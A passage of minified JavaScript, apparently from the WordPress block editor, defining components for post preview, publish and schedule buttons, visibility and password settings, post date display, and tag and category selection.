review"),checked:"pending"===t,onChange:()=>{n("pending"===t?"draft":"pending")}}))})),Os=(0,u.compose)([(0,l.withSelect)((e=>({pingStatus:e(oo).getEditedPostAttribute("ping_status")}))),(0,l.withDispatch)((e=>({editPost:e(oo).editPost})))])((function(e){let{pingStatus:t="open",...n}=e;return(0,i.createElement)(xo.CheckboxControl,{label:(0,Xt.__)("Allow pingbacks & trackbacks"),checked:"open"===t,onChange:()=>n.editPost({ping_status:"open"===t?"closed":"open"})})}));class Us extends i.Component{constructor(){super(...arguments),this.buttonRef=(0,i.createRef)(),this.openPreviewWindow=this.openPreviewWindow.bind(this)}componentDidUpdate(e){const{previewLink:t}=this.props;t&&!e.previewLink&&this.setPreviewWindowLink(t)}setPreviewWindowLink(e){const{previewWindow:t}=this;t&&!t.closed&&(t.location=e,this.buttonRef.current&&this.buttonRef.current.focus())}getWindowTarget(){const{postId:e}=this.props;return`wp-preview-${e}`}openPreviewWindow(e){e.preventDefault(),this.previewWindow&&!this.previewWindow.closed||(this.previewWindow=window.open("",this.getWindowTarget())),this.previewWindow.focus(),this.props.isAutosaveable&&!this.props.isPostLocked?(this.props.isDraft?this.props.savePost({isPreview:!0}):this.props.autosave({isPreview:!0}),function(e){let t=(0,i.renderToString)((0,i.createElement)("div",{className:"editor-post-preview-button__interstitial-message"},(0,i.createElement)(xo.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 96 96"},(0,i.createElement)(xo.Path,{className:"outer",d:"M48 12c19.9 0 36 16.1 36 36S67.9 84 48 84 12 67.9 12 48s16.1-36 36-36",fill:"none"}),(0,i.createElement)(xo.Path,{className:"inner",d:"M69.5 46.4c0-3.9-1.4-6.7-2.6-8.8-1.6-2.6-3.1-4.9-3.1-7.5 0-2.9 2.2-5.7 5.4-5.7h.4C63.9 19.2 56.4 16 48 16c-11.2 0-21 5.7-26.7 14.4h2.1c3.3 0 8.5-.4 8.5-.4 1.7-.1 1.9 2.4.2 2.6 0 0-1.7.2-3.7.3L40 67.5l7-20.9L42 33c-1.7-.1-3.3-.3-3.3-.3-1.7-.1-1.5-2.7.2-2.6 0 0 5.3.4 8.4.4 3.3 0 8.5-.4 8.5-.4 1.7-.1 1.9 2.4.2 2.6 0 0-1.7.2-3.7.3l11.5 34.3 3.3-10.4c1.6-4.5 2.4-7.8 2.4-10.5zM16.1 48c0 12.6 7.3 23.5 18 28.7L18.8 35c-1.7 4-2.7 8.4-2.7 13zm32.5 2.8L39 78.6c2.9.8 5.9 1.3 9 1.3 3.7 0 7.3-.6 10.6-1.8-.1-.1-.2-.3-.2-.4l-9.8-26.9zM76.2 36c0 3.2-.6 6.9-2.4 11.4L64 75.6c9.5-5.5 15.9-15.8 15.9-27.6 0-5.5-1.4-10.8-3.9-15.3.1 1 .2 2.1.2 3.3z",fill:"none"})),(0,i.createElement)("p",null,(0,Xt.__)("Generating preview…"))));t+='\n\t\t<style>\n\t\t\tbody {\n\t\t\t\tmargin: 0;\n\t\t\t}\n\t\t\t.editor-post-preview-button__interstitial-message {\n\t\t\t\tdisplay: flex;\n\t\t\t\tflex-direction: column;\n\t\t\t\talign-items: center;\n\t\t\t\tjustify-content: center;\n\t\t\t\theight: 100vh;\n\t\t\t\twidth: 100vw;\n\t\t\t}\n\t\t\t@-webkit-keyframes paint {\n\t\t\t\t0% {\n\t\t\t\t\tstroke-dashoffset: 0;\n\t\t\t\t}\n\t\t\t}\n\t\t\t@-moz-keyframes paint {\n\t\t\t\t0% {\n\t\t\t\t\tstroke-dashoffset: 0;\n\t\t\t\t}\n\t\t\t}\n\t\t\t@-o-keyframes paint {\n\t\t\t\t0% {\n\t\t\t\t\tstroke-dashoffset: 0;\n\t\t\t\t}\n\t\t\t}\n\t\t\t@keyframes paint {\n\t\t\t\t0% {\n\t\t\t\t\tstroke-dashoffset: 0;\n\t\t\t\t}\n\t\t\t}\n\t\t\t.editor-post-preview-button__interstitial-message svg {\n\t\t\t\twidth: 192px;\n\t\t\t\theight: 192px;\n\t\t\t\tstroke: #555d66;\n\t\t\t\tstroke-width: 0.75;\n\t\t\t}\n\t\t\t.editor-post-preview-button__interstitial-message svg .outer,\n\t\t\t.editor-post-preview-button__interstitial-message svg .inner {\n\t\t\t\tstroke-dasharray: 280;\n\t\t\t\tstroke-dashoffset: 280;\n\t\t\t\t-webkit-animation: paint 1.5s ease infinite alternate;\n\t\t\t\t-moz-animation: paint 1.5s ease infinite alternate;\n\t\t\t\t-o-animation: paint 1.5s ease infinite alternate;\n\t\t\t\tanimation: paint 1.5s ease infinite alternate;\n\t\t\t}\n\t\t\tp {\n\t\t\t\ttext-align: center;\n\t\t\t\tfont-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;\n\t\t\t}\n\t\t</style>\n\t',t=(0,d.applyFilters)("editor.PostPreview.interstitialMarkup",t),e.write(t),e.title=(0,Xt.__)("Generating preview…"),e.close()}(this.previewWindow.document)):this.setPreviewWindowLink(e.target.href)}render(){const{previewLink:e,currentPostLink:t,isSaveable:n,role:o}=this.props,s=e||t,r=po()({"editor-post-preview":!this.props.className},this.props.className);return(0,i.createElement)(xo.Button,{variant:this.props.className?void 0:"tertiary",className:r,href:s,target:this.getWindowTarget(),disabled:!n,onClick:this.openPreviewWindow,ref:this.buttonRef,role:o},this.props.textContent?this.props.textContent:(0,i.createElement)(i.Fragment,null,(0,Xt._x)("Preview","imperative verb"),(0,i.createElement)(xo.VisuallyHidden,{as:"span"},
/* translators: accessibility text */
(0,Xt.__)("(opens in a new tab)"))))}}const Fs=(0,u.compose)([(0,l.withSelect)(((e,t)=>{let{forcePreviewLink:n,forceIsAutosaveable:o}=t;const{getCurrentPostId:s,getCurrentPostAttribute:i,getEditedPostAttribute:a,isEditedPostSaveable:l,isEditedPostAutosaveable:u,getEditedPostPreviewLink:d,isPostLocked:p}=e(oo),{getPostType:m}=e(c.store),h=d(),g=m(a("type"));return{postId:s(),currentPostLink:i("link"),previewLink:void 0!==n?n:h,isSaveable:l(),isAutosaveable:o||u(),isViewable:(0,r.get)(g,["viewable"],!1),isDraft:-1!==["draft","auto-draft"].indexOf(a("status")),isPostLocked:p()}})),(0,l.withDispatch)((e=>({autosave:e(oo).autosave,savePost:e(oo).savePost}))),(0,u.ifCondition)((e=>{let{isViewable:t}=e;return t}))])(Us),Ms=(0,u.compose)([(0,l.withSelect)(((e,t)=>{let{forceIsSaving:n}=t;const{isCurrentPostPublished:o,isEditedPostBeingScheduled:s,isSavingPost:i,isPublishingPost:a,getCurrentPost:l,getCurrentPostType:c,isAutosavingPost:u}=e(oo);return{isPublished:o(),isBeingScheduled:s(),isSaving:n||i(),isPublishing:a(),hasPublishAction:(0,r.get)(l(),["_links","wp:action-publish"],!1),postType:c(),isAutosaving:u()}}))])((function(e){let{isPublished:t,isBeingScheduled:n,isSaving:o,isPublishing:s,hasPublishAction:i,isAutosaving:r,hasNonPostEntityChanges:a}=e;return s?(0,Xt.__)("Publishing…"):t&&o&&!r?(0,Xt.__)("Updating…"):n&&o&&!r?(0,Xt.__)("Scheduling…"):i?t?a?(0,Xt.__)("Update…"):(0,Xt.__)("Update"):n?a?(0,Xt.__)("Schedule…"):(0,Xt.__)("Schedule"):(0,Xt.__)("Publish"):a?(0,Xt.__)("Submit for Review…"):(0,Xt.__)("Submit for Review")})),zs=()=>{};class Vs extends i.Component{constructor(e){super(e),this.buttonNode=(0,i.createRef)(),this.createOnClick=this.createOnClick.bind(this),this.closeEntitiesSavedStates=this.closeEntitiesSavedStates.bind(this),this.state={entitiesSavedStatesCallback:!1}}componentDidMount(){this.props.focusOnMount&&this.buttonNode.current.focus()}createOnClick(e){var t=this;return function(){for(var n=arguments.length,o=new Array(n),s=0;s<n;s++)o[s]=arguments[s];const{hasNonPostEntityChanges:i,setEntitiesSavedStatesCallback:r}=t.props;return i&&r?(t.setState({entitiesSavedStatesCallback:()=>e(...o)}),r((()=>t.closeEntitiesSavedStates)),zs):e(...o)}}closeEntitiesSavedStates(e){const{postType:t,postId:n}=this.props,{entitiesSavedStatesCallback:o}=this.state;this.setState({entitiesSavedStatesCallback:!1},(()=>{e&&(0,r.some)(e,(e=>"postType"===e.kind&&e.name===t&&e.key===n))&&o()}))}render(){const{forceIsDirty:e,forceIsSaving:t,hasPublishAction:n,isBeingScheduled:o,isOpen:r,isPostSavingLocked:a,isPublishable:l,isPublished:c,isSaveable:u,isSaving:d,isAutoSaving:p,isToggle:m,onSave:h,onStatusChange:g,onSubmit:v=zs,onToggle:_,visibility:f,hasNonPostEntityChanges:y,isSavingNonPostEntityChanges:b}=this.props,E=(d||t||!u||a||!l&&!e)&&(!y||b),S=(c||d||t||!u||!l&&!e)&&(!y||b);let w;w=n?"private"===f?"private":o?"future":"publish":"pending";const P={"aria-disabled":E,className:"editor-post-publish-button",isBusy:!p&&d&&c,variant:"primary",onClick:this.createOnClick((()=>{E||(v(),g(w),h())}))},k={"aria-disabled":S,"aria-expanded":r,className:"editor-post-publish-panel__toggle",isBusy:d&&c,variant:"primary",onClick:this.createOnClick((()=>{S||_()}))},C=o?(0,Xt.__)("Schedule…"):(0,Xt.__)("Publish"),T=(0,i.createElement)(Ms,{forceIsSaving:t,hasNonPostEntityChanges:y}),x=m?k:P,B=m?C:T;return(0,i.createElement)(i.Fragment,null,(0,i.createElement)(xo.Button,s({ref:this.buttonNode},x,{className:po()(x.className,"editor-post-publish-button__button",{"has-changes-dot":y})}),B))}}const Hs=(0,u.compose)([(0,l.withSelect)((e=>{const{isSavingPost:t,isAutosavingPost:n,isEditedPostBeingScheduled:o,getEditedPostVisibility:s,isCurrentPostPublished:i,isEditedPostSaveable:a,isEditedPostPublishable:l,isPostSavingLocked:c,getCurrentPost:u,getCurrentPostType:d,getCurrentPostId:p,hasNonPostEntityChanges:m,isSavingNonPostEntityChanges:h}=e(oo),g=n();return{isSaving:t()||g,isAutoSaving:g,isBeingScheduled:o(),visibility:s(),isSaveable:a(),isPostSavingLocked:c(),isPublishable:l(),isPublished:i(),hasPublishAction:(0,r.get)(u(),["_links","wp:action-publish"],!1),postType:d(),postId:p(),hasNonPostEntityChanges:m(),isSavingNonPostEntityChanges:h()}})),(0,l.withDispatch)((e=>{const{editPost:t,savePost:n}=e(oo);return{onStatusChange:e=>t({status:e},{undoIgnore:!0}),onSave:n}}))])(Vs),Ws=(0,i.createElement)(P.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,i.createElement)(P.Path,{d:"M12 13.06l3.712 3.713 1.061-1.06L13.061 12l3.712-3.712-1.06-1.06L12 10.938 8.288 7.227l-1.061 1.06L10.939 12l-3.712 3.712 1.06 1.061L12 13.061z"})),Gs=(0,i.createElement)(P.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"-2 -2 24 24"},(0,i.createElement)(P.Path,{d:"M20 10c0-5.51-4.49-10-10-10C4.48 0 0 4.49 0 10c0 5.52 4.48 10 10 10 5.51 0 10-4.48 10-10zM7.78 15.37L4.37 6.22c.55-.02 1.17-.08 1.17-.08.5-.06.44-1.13-.06-1.11 0 0-1.45.11-2.37.11-.18 0-.37 0-.58-.01C4.12 2.69 6.87 1.11 10 1.11c2.33 0 4.45.87 6.05 2.34-.68-.11-1.65.39-1.65 1.58 0 .74.45 1.36.9 2.1.35.61.55 1.36.55 2.46 0 1.49-1.4 5-1.4 5l-3.03-8.37c.54-.02.82-.17.82-.17.5-.05.44-1.25-.06-1.22 0 0-1.44.12-2.38.12-.87 0-2.33-.12-2.33-.12-.5-.03-.56 1.2-.06 1.22l.92.08 1.26 3.41zM17.41 10c.24-.64.74-1.87.43-4.25.7 1.29 1.05 2.71 1.05 4.25 0 3.29-1.73 6.24-4.4 7.78.97-2.59 1.94-5.2 2.92-7.78zM6.1 18.09C3.12 16.65 1.11 13.53 1.11 10c0-1.3.23-2.48.72-3.59C3.25 10.3 4.67 14.2 6.1 18.09zm4.03-6.63l2.58 6.98c-.86.29-1.76.45-2.71.45-.79 0-1.57-.11-2.29-.33.81-2.38 1.62-4.74 2.42-7.1z"})),js={public:{label:(0,Xt.__)("Public"),info:(0,Xt.__)("Visible to everyone.")},private:{label:(0,Xt.__)("Private"),info:(0,Xt.__)("Only visible to site admins and editors.")},password:{label:(0,Xt.__)("Password protected"),info:(0,Xt.__)("Only those with the password can view this post.")}};function $s(e){let{onClose:t}=e;const n=(0,u.useInstanceId)($s),{status:o,visibility:s,password:r}=(0,l.useSelect)((e=>({status:e(oo).getEditedPostAttribute("status"),visibility:e(oo).getEditedPostVisibility(),password:e(oo).getEditedPostAttribute("password")}))),{editPost:a,savePost:c}=(0,l.useDispatch)(oo),[d,m]=(0,i.useState)(!!r),[h,g]=(0,i.useState)(!1);return(0,i.createElement)("div",{className:"editor-post-visibility"},(0,i.createElement)(p.__experimentalInspectorPopoverHeader,{title:(0,Xt.__)("Visibility"),help:(0,Xt.__)("Control how this post is viewed."),onClose:t}),(0,i.createElement)("fieldset",{className:"editor-post-visibility__fieldset"},(0,i.createElement)(xo.VisuallyHidden,{as:"legend"},(0,Xt.__)("Visibility")),(0,i.createElement)(Ks,{instanceId:n,value:"public",label:js.public.label,info:js.public.info,checked:"public"===s&&!d,onChange:()=>{a({status:"private"===s?"draft":o,password:""}),m(!1)}}),(0,i.createElement)(Ks,{instanceId:n,value:"private",label:js.private.label,info:js.private.info,checked:"private"===s,onChange:()=>{g(!0)}}),(0,i.createElement)(Ks,{instanceId:n,value:"password",label:js.password.label,info:js.password.info,checked:d,onChange:()=>{a({status:"private"===s?"draft":o,password:r||""}),m(!0)}}),d&&(0,i.createElement)("div",{className:"editor-post-visibility__password"},(0,i.createElement)(xo.VisuallyHidden,{as:"label",htmlFor:`editor-post-visibility__password-input-${n}`},(0,Xt.__)("Create password")),(0,i.createElement)("input",{className:"editor-post-visibility__password-input",id:`editor-post-visibility__password-input-${n}`,type:"text",onChange:e=>{a({password:e.target.value})},value:r,placeholder:(0,Xt.__)("Use a secure password")}))),(0,i.createElement)(xo.__experimentalConfirmDialog,{isOpen:h,onConfirm:()=>{a({status:"private",password:""}),m(!1),g(!1),c()},onCancel:()=>{g(!1)}},(0,Xt.__)("Would you like to privately publish this post now?")))}function Ks(e){let{instanceId:t,value:n,label:o,info:r,...a}=e;return(0,i.createElement)("div",{className:"editor-post-visibility__choice"},(0,i.createElement)("input",s({type:"radio",name:`editor-post-visibility__setting-${t}`,value:n,id:`editor-post-${n}-${t}`,"aria-describedby":`editor-post-${n}-${t}-description`,className:"editor-post-visibility__radio"},a)),(0,i.createElement)("label",{htmlFor:`editor-post-${n}-${t}`,className:"editor-post-visibility__label"},o),(0,i.createElement)("p",{id:`editor-post-${n}-${t}-description`,className:"editor-post-visibility__info"},r))}function Ys(){return qs()}function qs(){var e;const t=(0,l.useSelect)((e=>e(oo).getEditedPostVisibility()));return null===(e=js[t])||void 0===e?void 0:e.label}function Qs(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:new Date,t=!(arguments.length>1&&void 0!==arguments[1])||arguments[1];const n=new Date(e);return new Date(n.getFullYear(),n.getMonth()+(t?0:1),t?1:0).toISOString()}function Xs(e){let{onClose:t}=e;const{postDate:n,postType:o}=(0,l.useSelect)((e=>({postDate:e(oo).getEditedPostAttribute("date"),postType:e(oo).getCurrentPostType()})),[]),{editPost:s}=(0,l.useDispatch)(oo),[r,a]=(0,i.useState)(Qs(n)),u=(0,l.useSelect)((e=>e(c.store).getEntityRecords("postType",o,{status:"publish,future",after:Qs(r),before:Qs(r,!1),exclude:[e(oo).getCurrentPostId()]})),[r,o]),d=(0,i.useMemo)((()=>(u||[]).map((e=>{let{title:t,type:n,date:o}=e;return{title:null==t?void 0:t.rendered,type:n,date:new Date(o)}}))),[u]),m=(0,b.getSettings)(),h=/a(?!\\)/i.test(m.formats.time.toLowerCase().replace(/\\\\/g,"").split("").reverse().join(""));return(0,i.createElement)(p.__experimentalPublishDateTimePicker,{currentDate:n,onChange:e=>s({date:e}),is12Hour:h,events:d,onMonthPreviewed:a,onClose:t})}function Zs(e){return Js(e)}function Js(){let{full:e=!1}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const{date:t,isFloating:n}=(0,l.useSelect)((e=>({date:e(oo).getEditedPostAttribute("date"),isFloating:e(oo).isEditedPostDateFloating()})),[]);return e?ei(t):ti(t,{isFloating:n})}function ei(e){const t=(0,b.getDate)(e),n=function(){const{timezone:e}=(0,b.getSettings)();return e.abbr&&isNaN(Number(e.abbr))?e.abbr:`UTC${e.offset<0?"":"+"}${e.offset}`}(),o=(0,b.dateI18n)(// translators: If using a space between 'g:i' and 'a', use a non-breaking sapce.
(0,Xt._x)("F j, Y g:i a","post schedule full date format"),t);return(0,Xt.isRTL)()?`${n} ${o}`:`${o} ${n}`}function ti(e){let{isFloating:t=!1,now:n=new Date}=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};if(!e||t)return(0,Xt.__)("Immediately");if(!ni(n))return ei(e);const o=(0,b.getDate)(e);if(oi(o,n))return(0,Xt.sprintf)(// translators: %s: Time of day the post is scheduled for.
(0,Xt.__)("Today at %s"),// translators: If using a space between 'g:i' and 'a', use a non-breaking sapce.
(0,b.dateI18n)((0,Xt._x)("g:i a","post schedule time format"),o));const s=new Date(n);return s.setDate(s.getDate()+1),oi(o,s)?(0,Xt.sprintf)(// translators: %s: Time of day the post is scheduled for.
(0,Xt.__)("Tomorrow at %s"),// translators: If using a space between 'g:i' and 'a', use a non-breaking sapce.
(0,b.dateI18n)((0,Xt._x)("g:i a","post schedule time format"),o)):o.getFullYear()===n.getFullYear()?(0,b.dateI18n)(// translators: If using a space between 'g:i' and 'a', use a non-breaking sapce.
(0,Xt._x)("F j g:i a","post schedule date format without year"),o):(0,b.dateI18n)(// translators: Use a non-breaking space between 'g:i' and 'a' if appropriate.
(0,Xt._x)("F j, Y g:i a","post schedule full date format"),o)}function ni(e){const{timezone:t}=(0,b.getSettings)();return Number(t.offset)===e.getTimezoneOffset()/60*-1}function oi(e,t){return e.getDate()===t.getDate()&&e.getMonth()===t.getMonth()&&e.getFullYear()===t.getFullYear()}const si=window.wp.a11y,ii={per_page:10,orderby:"count",order:"desc",hide_empty:!0,_fields:"id,name,count",context:"view"};function ri(e){let{onSelect:t,taxonomy:n}=e;const{_terms:o,showTerms:s}=(0,l.useSelect)((e=>{const t=e(c.store).getEntityRecords("taxonomy",n.slug,ii);return{_terms:t,showTerms:(null==t?void 0:t.length)>=3}}),[]);if(!s)return null;const a=(e=>(0,r.map)(e,os))(o),u=(0,r.get)(n,["labels","most_used"]);return(0,i.createElement)("div",{className:"editor-post-taxonomies__flat-term-most-used"},(0,i.createElement)("h3",{className:"editor-post-taxonomies__flat-term-most-used-label"},u),(0,i.createElement)("ul",{role:"list",className:"editor-post-taxonomies__flat-term-most-used-list"},a.map((e=>(0,i.createElement)("li",{key:e.id},(0,i.createElement)(xo.Button,{variant:"link",onClick:()=>t(e)},e.name))))))}const ai=[],li={per_page:20,orderby:"count",order:"desc",_fields:"id,name",context:"view"},ci=(e,t)=>ns(e).toLowerCase()===ns(t).toLowerCase(),ui=(e,t)=>e.map((e=>(0,r.find)(t,(t=>ci(t.name,e))).id));function di(e){let{slug:t}=e;const[n,o]=(0,i.useState)([]),[s,a]=(0,i.useState)(""),d=(0,u.useDebounce)(a,500),{terms:p,termIds:m,taxonomy:h,hasAssignAction:g,hasCreateAction:v,hasResolvedTerms:_}=(0,l.useSelect)((e=>{const{getCurrentPost:n,getEditedPostAttribute:o}=e(oo),{getEntityRecords:s,getTaxonomy:i,hasFinishedResolution:a}=e(c.store),l=n(),u=i(t),d=u?o(u.rest_base):ai,p={...li,include:d.join(","),per_page:-1};return{hasCreateAction:!!u&&(0,r.get)(l,["_links","wp:action-create-"+u.rest_base],!1),hasAssignAction:!!u&&(0,r.get)(l,["_links","wp:action-assign-"+u.rest_base],!1),taxonomy:u,termIds:d,terms:d.length?s("taxonomy",t,p):ai,hasResolvedTerms:a("getEntityRecords",["taxonomy",t,p])}}),[t]),{searchResults:f}=(0,l.useSelect)((e=>{const{getEntityRecords:n}=e(c.store);return{searchResults:s?n("taxonomy",t,{...li,search:s}):ai}}),[s]);(0,i.useEffect)((()=>{if(_){const e=(null!=p?p:[]).map((e=>ns(e.name)));o(e)}}),[p,_]);const y=(0,i.useMemo)((()=>(null!=f?f:[]).map((e=>ns(e.name)))),[f]),{editPost:b}=(0,l.useDispatch)(oo);if(!g)return null;function E(e){b({[h.rest_base]:e})}const S=(0,r.get)(h,["labels","add_new_item"],"post_tag"===t?(0,Xt.__)("Add new tag"):(0,Xt.__)("Add new Term")),w=(0,r.get)(h,["labels","singular_name"],"post_tag"===t?(0,Xt.__)("Tag"):(0,Xt.__)("Term")),P=(0,Xt.sprintf)(
/* translators: %s: term name. */
(0,Xt._x)("%s added","term"),w),k=(0,Xt.sprintf)(
/* translators: %s: term name. */
(0,Xt._x)("%s removed","term"),w),C=(0,Xt.sprintf)(
/* translators: %s: term name. */
(0,Xt._x)("Remove %s","term"),w);return(0,i.createElement)(i.Fragment,null,(0,i.createElement)(xo.FormTokenField,{value:n,suggestions:y,onChange:function(e){var t;const n=[...null!=p?p:[],...null!=f?f:[]],s=e.reduce(((e,t)=>(e.some((e=>e.toLowerCase()===t.toLowerCase()))||e.push(t),e)),[]),i=s.filter((e=>!(0,r.find)(n,(t=>ci(t.name,e)))));if(o(s),0===i.length)return E(ui(s,n));if(!v)return;const a=null!==(t=null==h?void 0:h.rest_namespace)&&void 0!==t?t:"wp/v2";Promise.all(i.map((e=>function(e,t,n){const o=(0,r.escape)(e);return $t()({path:`/${n}/${t}`,method:"POST",data:{name:o}}).catch((t=>"term_exists"!==t.code?Promise.reject(t):Promise.resolve({id:t.data.term_id,name:e}))).then(os)}(e,h.rest_base,a)))).then((e=>{const t=n.concat(e);return E(ui(s,t))}))},onInputChange:d,maxSuggestions:20,label:S,messages:{added:P,removed:k,remove:C}}),(0,i.createElement)(ri,{taxonomy:h,onSelect:function(e){if(m.includes(e.id))return;const n=[...m,e.id],o=(0,Xt.sprintf)(
/* translators: %s: term name. */
(0,Xt._x)("%s added","term"),(0,r.get)(h,["labels","singular_name"],"post_tag"===t?(0,Xt.__)("Tag"):(0,Xt.__)("Term")));(0,si.speak)(o,"assertive"),E(n)}}))}const pi=(0,xo.withFilters)("editor.PostTaxonomyType")(di),mi=()=>{const e=[(0,Xt.__)("Suggestion:"),(0,i.createElement)("span",{className:"editor-post-publish-panel__link",key:"label"},(0,Xt.__)("Add tags"))];return(0,i.createElement)(xo.PanelBody,{initialOpen:!1,title:e},(0,i.createElement)("p",null,(0,Xt.__)("Tags help users and search engines navigate your site and find your content. Add a few keywords to describe your post.")),(0,i.createElement)(pi,{slug:"post_tag"}))};class hi extends i.Component{constructor(e){super(e),this.state={hadTagsWhenOpeningThePanel:e.hasTags}}render(){return this.state.hadTagsWhenOpeningThePanel?null:(0,i.createElement)(mi,null)}}const gi=(0,u.compose)((0,l.withSelect)((e=>{const t=e(oo).getCurrentPostType(),n=e(c.store).getTaxonomy("post_tag"),o=n&&e(oo).getEditedPostAttribute(n.rest_base);return{areTagsFetched:void 0!==n,isPostTypeSupported:n&&(0,r.some)(n.types,(e=>e===t)),hasTags:o&&o.length}})),(0,u.ifCondition)((e=>{let{areTagsFetched:t,isPostTypeSupported:n}=e;return n&&t})))(hi),vi=(e,t)=>{const n=xs.filter((t=>(0,r.includes)(e,t.id)));return(0,r.find)(n,(e=>e.id===t))},_i=e=>{let{suggestedPostFormat:t,suggestionText:n,onUpdatePostFormat:o}=e;return(0,i.createElement)(xo.Button,{variant:"link",onClick:()=>o(t)},n)};function fi(){const{currentPostFormat:e,suggestion:t}=(0,l.useSelect)((e=>{const{getEditedPostAttribute:t,getSuggestedPostFormat:n}=e(oo),o=(0,r.get)(e(c.store).getThemeSupports(),["formats"],[]);return{currentPostFormat:t("format"),suggestion:vi(o,n())}}),[]),{editPost:n}=(0,l.useDispatch)(oo),o=[(0,Xt.__)("Suggestion:"),(0,i.createElement)("span",{className:"editor-post-publish-panel__link",key:"label"},(0,Xt.__)("Use a post format"))];return t&&t.id!==e?(0,i.createElement)(xo.PanelBody,{initialOpen:!1,title:o},(0,i.createElement)("p",null,(0,Xt.__)("Your theme uses post formats to highlight different kinds of content, like images or videos. Apply a post format to see this special styling.")),(0,i.createElement)("p",null,(0,i.createElement)(_i,{onUpdatePostFormat:e=>n({format:e}),suggestedPostFormat:t.id,suggestionText:(0,Xt.sprintf)(
/* translators: %s: post format */
(0,Xt.__)('Apply the "%1$s" format.'),t.caption)}))):null}const yi={per_page:-1,orderby:"name",order:"asc",_fields:"id,name,parent",context:"view"},bi=[];function Ei(e){let{slug:t}=e;const[n,o]=(0,i.useState)(!1),[s,a]=(0,i.useState)(""),[d,p]=(0,i.useState)(""),[m,h]=(0,i.useState)(!1),[g,v]=(0,i.useState)(""),[_,f]=(0,i.useState)([]),y=(0,u.useDebounce)(si.speak,500),{hasCreateAction:b,hasAssignAction:E,terms:S,loading:w,availableTerms:P,taxonomy:k}=(0,l.useSelect)((e=>{const{getCurrentPost:n,getEditedPostAttribute:o}=e(oo),{getTaxonomy:s,getEntityRecords:i,isResolving:a}=e(c.store),l=s(t);return{hasCreateAction:!!l&&(0,r.get)(n(),["_links","wp:action-create-"+l.rest_base],!1),hasAssignAction:!!l&&(0,r.get)(n(),["_links","wp:action-assign-"+l.rest_base],!1),terms:l?o(l.rest_base):bi,loading:a("getEntityRecords",["taxonomy",t,yi]),availableTerms:i("taxonomy",t,yi)||bi,taxonomy:l}}),[t]),{editPost:C}=(0,l.useDispatch)(oo),{saveEntityRecord:T}=(0,l.useDispatch)(c.store),x=(0,i.useMemo)((()=>function(e,t){const n=e=>-1!==t.indexOf(e.id)||void 0!==e.children&&e.children.map(n).filter((e=>e)).length>0,o=[...e];return o.sort(((e,t)=>{const o=n(e),s=n(t);return o===s?0:o&&!s?-1:!o&&s?1:0})),o}(ts(P),S)),[P]);if(!E)return null;const B=e=>{C({[k.rest_base]:e})},A=e=>e.map((e=>(0,i.createElement)("div",{key:e.id,className:"editor-post-taxonomies__hierarchical-terms-choice"},(0,i.createElement)(xo.CheckboxControl,{checked:-1!==S.indexOf(e.id),onChange:()=>{(e=>{const t=S.includes(e)?(0,r.without)(S,e):[...S,e];B(t)})(parseInt(e.id,10))},label:(0,r.unescape)(e.name)}),!!e.children.length&&(0,i.createElement)("div",{className:"editor-post-taxonomies__hierarchical-terms-subchoices"},A(e.children))))),I=(e,n,o)=>(0,r.get)(k,["labels",e],"category"===t?n:o),N=I("add_new_item",(0,Xt.__)("Add new category"),(0,Xt.__)("Add new term")),R=I("new_item_name",(0,Xt.__)("Add new category"),(0,Xt.__)("Add new term")),D=I("parent_item",(0,Xt.__)("Parent Category"),(0,Xt.__)("Parent Term")),L=`— ${D} —`,O=N,U=(0,r.get)(k,["labels","search_items"],(0,Xt.__)("Search Terms")),F=(0,r.get)(k,["name"],(0,Xt.__)("Terms")),M=P.length>=8;return(0,i.createElement)(i.Fragment,null,M&&(0,i.createElement)(xo.TextControl,{className:"editor-post-taxonomies__hierarchical-terms-filter",label:U,value:g,onChange:e=>{const t=x.map(function(e){const t=n=>{if(""===e)return n;const o={...n};return o.children.length>0&&(o.children=o.children.map(t).filter((e=>e))),(-1!==o.name.toLowerCase().indexOf(e.toLowerCase())||o.children.length>0)&&o};return t}(e)).filter((e=>e)),n=e=>{let t=0;for(let o=0;o<e.length;o++)t++,void 0!==e[o].children&&(t+=n(e[o].children));return t};v(e),f(t);const o=n(t),s=(0,Xt.sprintf)(
/* translators: %d: number of results */
(0,Xt._n)("%d result found.","%d results found.",o),o);y(s,"assertive")}}),(0,i.createElement)("div",{className:"editor-post-taxonomies__hierarchical-terms-list",tabIndex:"0",role:"group","aria-label":F},A(""!==g?_:x)),!w&&b&&(0,i.createElement)(xo.Button,{onClick:()=>{h(!m)},className:"editor-post-taxonomies__hierarchical-terms-add","aria-expanded":m,variant:"link"},N),m&&(0,i.createElement)("form",{onSubmit:async e=>{if(e.preventDefault(),""===s||n)return;const i=function(e,t,n){return(0,r.find)(e,(e=>(!e.parent&&!t||parseInt(e.parent)===parseInt(t))&&e.name.toLowerCase()===n.toLowerCase()))}(P,d,s);if(i)return(0,r.some)(S,(e=>e===i.id))||B([...S,i.id]),a(""),void p("");o(!0);const l=await(c={name:s,parent:d||void 0},T("taxonomy",t,c));var c;const u=(0,Xt.sprintf)(
/* translators: %s: taxonomy name */
(0,Xt._x)("%s added","term"),(0,r.get)(k,["labels","singular_name"],"category"===t?(0,Xt.__)("Category"):(0,Xt.__)("Term")));(0,si.speak)(u,"assertive"),o(!1),a(""),p(""),B([...S,l.id])}},(0,i.createElement)(xo.TextControl,{className:"editor-post-taxonomies__hierarchical-terms-input",label:R,value:s,onChange:e=>{a(e)},required:!0}),!!P.length&&(0,i.createElement)(xo.TreeSelect,{label:D,noOptionLabel:L,onChange:e=>{p(e)},selectedId:d,tree:x}),(0,i.createElement)(xo.Button,{variant:"secondary",type:"submit",className:"editor-post-taxonomies__hierarchical-terms-submit"},O)))}const Si=(0,xo.withFilters)("editor.PostTaxonomyType")(Ei),wi=function(){const e=(0,l.useSelect)((e=>{var t;const n=e(oo).getCurrentPostType(),o=e(c.store).getTaxonomy("category"),s=null===(t=e(c.store).getEntityRecord("root","site"))||void 0===t?void 